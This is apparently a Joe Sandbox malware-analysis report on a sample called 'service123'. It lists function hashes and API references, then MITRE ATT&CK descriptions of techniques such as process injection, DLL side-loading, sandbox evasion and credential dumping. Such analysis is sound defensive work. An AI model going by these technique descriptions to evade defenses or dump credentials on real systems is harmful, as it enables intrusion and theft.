Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction ID: ae2f96b875c0472c6e59d60a97291e8e2d02f20cec0939225faa5c9ee2d6ae77
Opcode Fuzzy Hash: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction Fuzzy Hash: 3D413071A04215CBDB24EF18C6C075AB7E1BF85704B29CA9ADC499F34AD379DC42CB94

Function 6C7B3080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3101

Strings

NaN, xrefs: 6C7B3081

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction ID: 8138480d0ed531c6fccb8eb28d83f3f935f56f1ce4c9241e8dc5e03686d1c484
Opcode Fuzzy Hash: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction Fuzzy Hash: CE415BB1A05A18CBCB00CF18C6C4785B7E5AF85744B29C2A9DC4CAF74AD732DC86CB90

Function 6C834DD0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C834E0A
strlen.MSVCRT ref: 6C834E8D
strlen.MSVCRT ref: 6C834F10
strlen.MSVCRT ref: 6C834F93

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 8760e4cd0ea55dc5d4764e94efb4c8a544318ef5034578b4d5e05b57bbb6fcc8
Instruction ID: 79d7c0bde9337ed48a438c73e09b5074cd385fb4b07e56a427bb4e83190c1d91
Opcode Fuzzy Hash: 8760e4cd0ea55dc5d4764e94efb4c8a544318ef5034578b4d5e05b57bbb6fcc8
Instruction Fuzzy Hash: 9BE14874A047168FC710DFACC6C49AEBBF1BF84314B10AA69D869CBB54E735E905CB81

Function 6C8345D0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C83460A
strlen.MSVCRT ref: 6C83468D
strlen.MSVCRT ref: 6C834710
strlen.MSVCRT ref: 6C834793

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: d310939fd906b9b0bdc0480fc8cfa4b1ab3d17ab23af5cb11f10c165a1ef1387
Instruction ID: fc9f82b2307765e7ecdbd7aeb9a42635833f5cc6bcef01a8faf56e1793381d77
Opcode Fuzzy Hash: d310939fd906b9b0bdc0480fc8cfa4b1ab3d17ab23af5cb11f10c165a1ef1387
Instruction Fuzzy Hash: 64E16974A046168FC720DFACC2C49AEFBF1BF85314B10AA69D859CBB54E735E905CB81

Function 6C7BE1F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6C7BE1FE
strlen.MSVCRT ref: 6C7BE211

Strings

basic_string: construction from null is not valid, xrefs: 6C7BE233

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strerrorstrlen
String ID: basic_string: construction from null is not valid
API String ID: 960536887-2991274800
Opcode ID: a455786bf05150be2ce6508e88418afede7b44484ebd4e16a0f642bb103c1c77
Instruction ID: 252543cfed1809f16d3f8beb019ad56f2f48a49a8ae9e5db8f945f77dc7a4c30
Opcode Fuzzy Hash: a455786bf05150be2ce6508e88418afede7b44484ebd4e16a0f642bb103c1c77
Instruction Fuzzy Hash: D7111272A046008F8710FF7DCA8545ABBF1AB99314F45CA79D84497704E634D5098BE2

Function 00482F46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00482E97
fputc.MSVCRT ref: 00482F07
memset.MSVCRT ref: 00482FC2

Strings

o, xrefs: 00482F5E

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction ID: 353502122ab04d1ae5d4dceb262b17453f25410de4e31ef92f183662e34c92c8
Opcode Fuzzy Hash: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction Fuzzy Hash: 82315871900205CFCB11EF68C2847AEFBF1BF49340F158A1AD989AB701E778E940CB88

Function 6C7B3616 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3567
fputc.MSVCRT ref: 6C7B35D7
memset.MSVCRT ref: 6C7B3692

Strings

o, xrefs: 6C7B362E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction ID: d879f1b2c0100da879e388ec8573508d226c22293a4bb8eacbec2c92e5b1f549
Opcode Fuzzy Hash: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction Fuzzy Hash: D0314D71908605CFC700CF68C38479ABBF1BF48354F158669D999BBB01EB34E985CB50

Function 00483424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0048338F
fputc.MSVCRT ref: 004833F1

Strings

@, xrefs: 0048342A

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction ID: 9af9ac709c1b1e18fcfc0238c797b2d07b661b688c9a55869a9fed3c7bde6ed3
Opcode Fuzzy Hash: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction Fuzzy Hash: 04114CB1A04200CBCB15EF68C18075E7BE1BF45B06F25899ADD899F34ADB38ED01DB49

Function 6C7B3AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3A5F
fputc.MSVCRT ref: 6C7B3AC1

Strings

@, xrefs: 6C7B3AFA

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction ID: 102af3374f9fc4d5b1a5e606fef08f15801c36b730d757f8b56e365c2c951291
Opcode Fuzzy Hash: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction Fuzzy Hash: 4611DAB1A052148BCB00DF28C684789BBB1BF55305F358669FD997FB4ADB34E881CB54

Function 004818B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0048191E

Strings

Unknown error, xrefs: 004818B2
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 004818FF

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 84b4b45d912db1899dab68a193d67915747e0b0f76b27a8475240c0f6ff9c91c
Instruction ID: a065dd3a0aa34391e4b780a73e5b4e1685c4f334108ead6680e0be22950b2b98
Opcode Fuzzy Hash: 84b4b45d912db1899dab68a193d67915747e0b0f76b27a8475240c0f6ff9c91c
Instruction Fuzzy Hash: F901A270408B458BD300BF15E48841EBFB1FF89354F868C9EE5C546269CB3698A8C746

Function 6C7C77B1 Relevance: 5.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7C77D3

Part of subcall function 6C814050: memcpy.MSVCRT(?,?,?,?,-00000001,?,?,6C7C77E6), ref: 6C8140B3

strlen.MSVCRT ref: 6C7C7844
strlen.MSVCRT ref: 6C7C78B2
strlen.MSVCRT ref: 6C7C7926

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 2e6e752357a3f687a1a5eb5d446b425a585c5344ba6fa8282acece8f14103fd0
Instruction ID: 6c090d0b5bbf22541fa8055144b6a2a9ed53e99f6feb760070e026ffbab36c51
Opcode Fuzzy Hash: 2e6e752357a3f687a1a5eb5d446b425a585c5344ba6fa8282acece8f14103fd0
Instruction Fuzzy Hash: DF5137B4A05A118FCB10EF29C19865DFBF5FF85308F0185ADD9915F761CB35A809CB82

Function 00486B60 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,00486C81,?,?,?,?,?,?,00000000,00484F24), ref: 00486B87
InitializeCriticalSection.KERNEL32(?,?,?,?,00486C81,?,?,?,?,?,?,00000000,00484F24), ref: 00486BC4
InitializeCriticalSection.KERNEL32(?,?,?,?,?,00486C81,?,?,?,?,?,?,00000000,00484F24), ref: 00486BD0
EnterCriticalSection.KERNEL32(?,?,?,?,00486C81,?,?,?,?,?,?,00000000,00484F24), ref: 00486BF8

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: f3dbe34bfb8cf1a498f433b3cdc3a0e3fb952b89639b5fc53d01b993fba97afc
Instruction ID: e246beabf1532a1978f5e531d1aa1a133dd7dc7c28d7a90ae28c078d8ee02afd
Opcode Fuzzy Hash: f3dbe34bfb8cf1a498f433b3cdc3a0e3fb952b89639b5fc53d01b993fba97afc
Instruction Fuzzy Hash: 08115BB19091108ADB65BB3CA9C952F77E4EB00318F260D3AC482C7365E739EC84C79E

Function 6C7B8080 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,00000002,?,6C7B81A1), ref: 6C7B80A7
InitializeCriticalSection.KERNEL32(?,?,00000002,?,6C7B81A1), ref: 6C7B80E4
InitializeCriticalSection.KERNEL32(?,?,?,00000002,?,6C7B81A1), ref: 6C7B80F0
EnterCriticalSection.KERNEL32(?,?,00000002,?,6C7B81A1), ref: 6C7B8118

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 14fc5efe7aa0465f7cbf5a838b6a5f58d08989b510ee27b3e741df5ac6398b24
Instruction ID: 896a9118125524a42a2984a9325d1ca11909420373e0f538e5039120b28c5e88
Opcode Fuzzy Hash: 14fc5efe7aa0465f7cbf5a838b6a5f58d08989b510ee27b3e741df5ac6398b24
Instruction Fuzzy Hash: 6911C4B16061069BDF20AF2CD6C625A77F4EB1639CFA1097AC456D7700E631D588C7D3

Function 00482000 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,004821D3,?,?,?,?,?,004817E8), ref: 0048200E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,004821D3,?,?,?,?,?,004817E8), ref: 00482035
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,004821D3,?,?,?,?,?,004817E8), ref: 0048203C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,004821D3,?,?,?,?,?,004817E8), ref: 0048205C

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 3f7bc3f39c4cf2664d545f3ef85f83d77af48970429306ffa0a664f5244e14b0
Instruction ID: 51e6d57922aa46e992943edf65d67905ea917c81cc0b64e57d2b0d4785d30ea5
Opcode Fuzzy Hash: 3f7bc3f39c4cf2664d545f3ef85f83d77af48970429306ffa0a664f5244e14b0
Instruction Fuzzy Hash: 4EF0F4719003008FDB107F79DD8851F7BA4EA02744F054C39CE844B319E774E846CBAA

Function 6C7AAB50 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6C7AAB5E
TlsGetValue.KERNEL32 ref: 6C7AAB85
GetLastError.KERNEL32 ref: 6C7AAB8C
LeaveCriticalSection.KERNEL32 ref: 6C7AABAC

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: fb8c86908949ba964ad42837228e23dbd29cfb52c9a730c905bf9f4430e10254
Instruction ID: 4276ddfe13ebc47fd26e854f30afe919fe3c0e491052330a7dadc49d9990a123
Opcode Fuzzy Hash: fb8c86908949ba964ad42837228e23dbd29cfb52c9a730c905bf9f4430e10254
Instruction Fuzzy Hash: 5FF081B2A003018FDB20BFA9958590A7B74EB4536CB0506B8ED9447204D730E649CBE3

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

